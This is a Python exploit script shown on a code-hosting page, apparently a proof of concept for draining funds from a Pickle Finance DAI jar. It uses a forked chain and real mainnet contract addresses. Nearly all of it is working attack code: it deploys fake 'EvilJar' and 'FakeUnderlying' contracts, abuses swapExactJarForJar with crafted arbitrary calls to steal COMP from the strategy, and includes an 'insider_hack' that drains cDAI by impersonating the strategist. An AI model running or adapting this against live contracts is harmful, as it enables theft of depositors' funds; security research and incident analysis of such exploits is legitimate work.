-
Notifications
You must be signed in to change notification settings - Fork 30
/
Copy pathexploit.py
132 lines (115 loc) · 4.25 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from brownie import rpc, accounts, interface, EvilJar, FakeUnderlying
from tabulate import tabulate
import warnings
warnings.simplefilter("ignore")
def main():
assert rpc.is_active()
hacker = accounts[0]
controller = interface.ControllerV4("0x6847259b2B3A4c17e7c43C54409810aF48bA5210")
dai = interface.ERC20("0x6B175474E89094C44Da98b954EedeAC495271d0F")
cdai = interface.ERC20("0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643")
comp = interface.ERC20("0xc00e94Cb662C3520282E6f5717214004A7f26888")
curve_proxy_logic = interface.CurveProxyLogic(
"0x6186E99D9CFb05E1Fdf1b442178806E81da21dD8"
)
jar = interface.PickleJar(controller.jars(dai))
strategy = interface.Strategy(controller.strategies(dai))
print("jar", jar)
print("strategy", strategy)
steal = comp
evil_jar = EvilJar.deploy(steal, {"from": hacker})
fake_underlying = FakeUnderlying.deploy(steal, {"from": hacker})
contracts = {
"controller": controller,
"strategy": strategy,
"dai jar": jar,
"evil jar": evil_jar,
"fake underlying": fake_underlying,
"hacker": hacker,
}
def status():
data = []
for name, c in contracts.items():
data.append(
[
name,
dai.balanceOf(c).to("ether"),
cdai.balanceOf(c) / 1e8,
comp.balanceOf(c) / 1e18,
]
)
print(tabulate(data, headers=["contract", "dai", "cdai", "comp"]))
status()
def arbitrary_call(to, sig, param=None):
param = steal if param is None else fake_underlying
return curve_proxy_logic.add_liquidity.encode_input(
to,
sig[:10],
1,
0,
param,
)
earns = 3
datas = (
[arbitrary_call(strategy, strategy.withdrawAll.encode_input())]
+ [arbitrary_call(jar, jar.earn.encode_input())] * earns
+ [
arbitrary_call(
strategy, strategy.withdraw["address"].encode_input(steal), True
)
]
)
targets = [curve_proxy_logic for _ in datas]
tx = controller.swapExactJarForJar(
evil_jar,
evil_jar,
0,
0,
targets,
datas,
{"from": hacker},
)
status()
def seize():
penguin = accounts.at("0x907d9b32654b8d43e8737e0291ad9bfcce01dad6", force=True)
strategy = interface.Strategy("0xCd892a97951d46615484359355e3Ed88131f829D")
controller = interface.ControllerV4("0x6847259b2B3A4c17e7c43C54409810aF48bA5210")
comp = interface.ERC20("0xc00e94Cb662C3520282E6f5717214004A7f26888")
print("comp strategy", comp.balanceOf(strategy).to("ether"))
controller.inCaseStrategyTokenGetStuck(strategy, comp, {"from": penguin})
print("comp controller", comp.balanceOf(controller).to("ether"))
controller.inCaseTokensGetStuck(comp, comp.balanceOf(controller), {"from": penguin})
print("comp penguin", comp.balanceOf(penguin).to("ether"))
def insider_hack():
strategy = interface.Strategy("0xCd892a97951d46615484359355e3Ed88131f829D")
strategist = accounts.at(strategy.strategist(), force=True) # EOA
controller = interface.ControllerV4("0x6847259b2B3A4c17e7c43C54409810aF48bA5210")
dai = interface.ERC20("0x6B175474E89094C44Da98b954EedeAC495271d0F")
cdai = interface.ERC20("0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643")
jar = interface.PickleJar(controller.jars(dai))
def status():
contracts = {
"jar": jar,
"strategy": strategy,
"strategist": strategist,
}
data = []
for name, c in contracts.items():
data.append(
[
name,
dai.balanceOf(c).to("ether"),
cdai.balanceOf(c) / 1e8,
]
)
print(tabulate(data, headers=["contract", "dai", "cdai"]))
status()
controller.withdrawAll(dai, {"from": strategist})
status()
for i in range(3):
jar.earn({"from": strategist})
status()
controller.inCaseStrategyTokenGetStuck(strategy, cdai, {"from": strategist})
status()
controller.inCaseTokensGetStuck(cdai, cdai.balanceOf(controller), {"from": strategist})
status()